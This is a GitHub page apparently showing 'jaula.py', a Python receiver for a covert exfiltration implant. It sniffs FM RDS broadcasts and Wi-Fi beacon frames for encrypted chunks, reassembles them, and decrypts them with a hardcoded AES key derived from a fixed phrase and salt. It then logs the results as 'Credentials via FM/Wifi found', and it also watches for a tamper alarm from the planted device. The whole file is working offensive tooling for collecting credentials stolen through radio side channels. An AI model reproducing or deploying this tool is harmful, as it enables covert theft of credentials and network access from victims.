-
Notifications
You must be signed in to change notification settings - Fork 11
/
jaula.py
executable file
·304 lines (273 loc) · 9.95 KB
/
jaula.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
#!/usr/bin/env python3
import os
import re
import sys
import time
import pyaes
import pyscrypt
import argparse
import threading
import subprocess
import logging
import collections
from pyfiglet import Figlet
from scapy.all import *
# Me
__author__ = "Emilio / @ekio_jp"
__version__ = "2.020"
# Config
PHRASE = b'Waaaaa! awesome :)'
SALT = b'salgruesa'
MAGIC = b'0666'
SSIDROOT = b'nec-c17c02'
SSIDALARM = b'pacman'
CHANNEL = '10'
# PTY Codes (Europe https://en.wikipedia.org/wiki/Radio_Data_System)
ptycodes = {
0: b'Undefined',
1: b'News',
2: b'Current',
3: b'Information',
4: b'Sport',
5: b'Education',
6: b'Drama',
7: b'Culture',
8: b'Science',
9: b'Varied',
10: b'Pop',
11: b'Rock',
12: b'Easy',
13: b'Light',
14: b'Serious',
15: b'Other',
16: b'Weather',
17: b'Finance',
18: b'Children',
19: b'Social',
20: b'Religion',
21: b'Phone-In',
22: b'Travel',
23: b'Leisure',
24: b'Jazz',
25: b'Country',
26: b'National',
27: b'Oldies',
28: b'Folk',
29: b'Documentary',
30: b'Alarm'
}
# Classes
class FMHandler(threading.Thread):
def __init__(self, args):
threading.Thread.__init__(self)
self.stoprequest = threading.Event()
self.freq, self.logfile = args
self.cmd = './tools/rds_rx.py'
self.dic = {}
self.pkttotal = 200
self.block = 0
self.blockcnt = 0
self.traffic = False
self.sync = True
self.proc = ''
def run(self):
"""
First packet: PI = crypto_len, PTY = News (PTY 1), Amount of pkts is crypto_len / 4 + pading
Second packet+N: PTY = pkt_num (1-30), PI = chuck (AAAA-FFFF), PTY != 31 (Alarm)
If more than 30 packets, then "block" will be used every 30 chunks and stitch together
Example:
00A (BASIC) - PI:AB4F - PTY:Current Affairs (country:AT/GI/IS/LB/__, area:Regional 8, program:79)
"""
self.proc = subprocess.Popen(self.cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
while not self.stoprequest.isSet():
line = self.proc.stdout.readline()
m = re.findall(b'PI:(.*) - PTY:(.*) \(', line)
if m:
pi, pty = m[0]
if pty == b'Alarm' and pi == MAGIC:
printalarm(self.logfile)
if pty == b'Alarm' and self.sync:
try:
self.pktlen = int(pi)
if self.pktlen % 4 != 0:
self.pkttotal = int(self.pktlen / 4 + 1)
else:
self.pkttotal = int(self.pktlen / 4)
self.sync = False
self.traffic = True
self.dic = {}
except(ValueError):
pass
elif pty != b'Alarm' and pty != b'Undefined' and self.traffic:
idx = lookup(pty.decode())
if idx:
idx = idx + self.block
if idx not in self.dic:
self.dic[idx] = pi
notdef = True
elif pty == b'Undefined' and pi == b'0000' and traffic and notdef:
self.blockcnt += 1
self.block = self.blockcnt * 30
notdef = False
if len(self.dic) == self.pkttotal:
odic = collections.OrderedDict(sorted(self.dic.items()))
final = b''
for k, v in odic.items():
final = final + v
try:
cleartxt = decrypt(final[:self.pktlen].decode())
if not cleartxt.startswith('v,'):
hexip = cleartxt.split(',')[-1]
cleartxt = cleartxt.replace(hexip, hextoip(hexip))
print('Credentials via FM found:')
printer(self.logfile, cleartxt)
except(UnicodeDecodeError):
print('Malformed Crypto')
self.dic = {}
self.pkttotal = 200
self.traffic = False
self.block = 0
self.blockcnt = 0
self.sync = True
# Stop Function
def join(self):
self.proc.kill()
self.stoprequest.set()
class WifiHandler(threading.Thread):
def __init__(self, args):
threading.Thread.__init__(self)
self.stoprequest = threading.Event()
self.iface, self.logfile = args
self.dic = {}
self.pkttotal = 0
self.pktlen = 0
self.cnt = True
self.sid = []
def pkt_callback(self, pkt):
# Look for beacon with SSIDROOT as starting SSID
# grab crypto len & amount of SSID's with crypto on it (use -g on those)
if pkt.haslayer(Dot11Beacon):
if (pkt[Dot11Elt].info == SSIDALARM) and (pkt[Dot11].SC == MAGIC):
self.stoprequest.set()
printalarm(self.logfile)
if (pkt[Dot11Elt].info == SSIDROOT) and (self.cnt):
self.pkttotal = pkt[Dot11].SC
self.pktlen = pkt[Dot11Beacon].beacon_interval
self.cnt = False
elif (b'nec' and b'-g' in pkt[Dot11Elt].info):
if pkt[Dot11Beacon].beacon_interval == self.pktlen:
if str(pkt[Dot11Elt].info).split('-')[1] not in self.sid:
self.dic[pkt[Dot11].SC] = str(pkt[Dot11Elt].info).split('-')[1]
self.sid.append(str(pkt[Dot11Elt].info).split('-')[1])
if (len(self.dic) == self.pkttotal) and (self.pkttotal > 0):
odic = collections.OrderedDict(sorted(self.dic.items()))
final = ''
for k, v in odic.items():
final = final + v
try:
cleartxt = decrypt(final[:self.pktlen])
if not cleartxt.startswith('v,'):
hexip = cleartxt.split(',')[-1]
cleartxt = cleartxt.replace(hexip, hextoip(hexip))
print('Credentials via Wifi found:')
printer(self.logfile, cleartxt)
except(UnicodeDecodeError):
print('Malformed Crypto')
self.dic = {}
self.sid = []
self.pktlen = 0
self.pkttotal = 0
self.cnt = True
def run(self):
while not self.stoprequest.isSet():
sniff(iface=self.iface, prn=self.pkt_callback, store=0)
# Stop Function
def join(self):
self.stoprequest.set()
# Define Funtions
def lookup(pty):
for k, v in ptycodes.items():
if pty.startswith(v.decode()):
return k
return None
def hextoip(ip):
n = 2
return '.'.join([str(int(ip[i:i+n], 16)) for i in range(0, len(ip), n)])
def decrypt(ciphertxt):
key = pyscrypt.hash(PHRASE, SALT, 1024, 1, 1, 16)
aes = pyaes.AESModeOfOperationCTR(key)
cleartxt = aes.decrypt(bytes.fromhex(ciphertxt))
return cleartxt.decode()
def printer(fd, text):
print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime()) + text)
find = re.compile('\\b' + text + '\\b')
with open(fd, 'a+') as sfile:
with open(fd, 'r') as xfile:
m = find.findall(xfile.read())
if not m:
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime()) + text + '\n')
def printalarm(fd):
text = 'ALARM Case Open!'
with open(fd, 'a+') as sfile:
sfile.write(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime()) + text + '\n')
print(time.strftime("%Y-%m-%d %H:%M:%S ", time.gmtime()) + text)
print('Sayonara')
os._exit(1)
def wifimon(iface, channel):
with open(os.devnull, 'w') as fdnull:
subprocess.call(['ip', 'link', 'set', iface, 'down'], stdout=fdnull, stderr=subprocess.STDOUT)
time.sleep(0.3)
subprocess.call(['iw', iface, 'set', 'monitor', 'control'], stdout=fdnull, stderr=subprocess.STDOUT)
time.sleep(0.3)
subprocess.call(['ip', 'link', 'set', iface, 'up'], stdout=fdnull, stderr=subprocess.STDOUT)
time.sleep(0.3)
subprocess.call(['iw', iface, 'set', 'channel', channel], stdout=fdnull, stderr=subprocess.STDOUT)
def parsingopt():
f = Figlet(font='standard')
print(f.renderText('JAULA'))
print('Author: {}'.format(__author__))
print('Version: {}\n'.format(__version__))
parser = argparse.ArgumentParser(add_help=True)
parser.add_argument('-v', '--verbose', action='store_true',
help='Enable debugging')
parser.add_argument('-f', dest='freq', metavar='<87.6>',
help='FM Freq')
parser.add_argument('-w', dest='iface', metavar='<wlan0>',
help='Wireles interface')
parser.add_argument('-l', required=True, dest='logfile', metavar='<logfile>',
help='Log File')
if len(sys.argv) > 1:
try:
return parser.parse_args()
except(argparse.ArgumentError):
parser.error()
else:
parser.print_help()
sys.exit(1)
def main():
options = parsingopt()
if options.verbose:
logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.DEBUG)
if options.freq:
logging.debug('Listing FM Freq: {}'.format(options.freq))
fmdh = FMHandler((options.freq, options.logfile))
fmdh.daemon = True
fmdh.start()
if options.iface:
logging.debug('Listing Wireless Channel: {}'.format(CHANNEL))
wifimon(options.iface, CHANNEL)
wifidh = WifiHandler((options.iface, options.logfile))
wifidh.daemon = True
wifidh.start()
print('Listening....')
try:
while True:
time.sleep(300)
except(KeyboardInterrupt):
if options.freq:
fmdh.join()
if options.iface:
wifidh.join()
# Call main
if __name__ == '__main__':
main()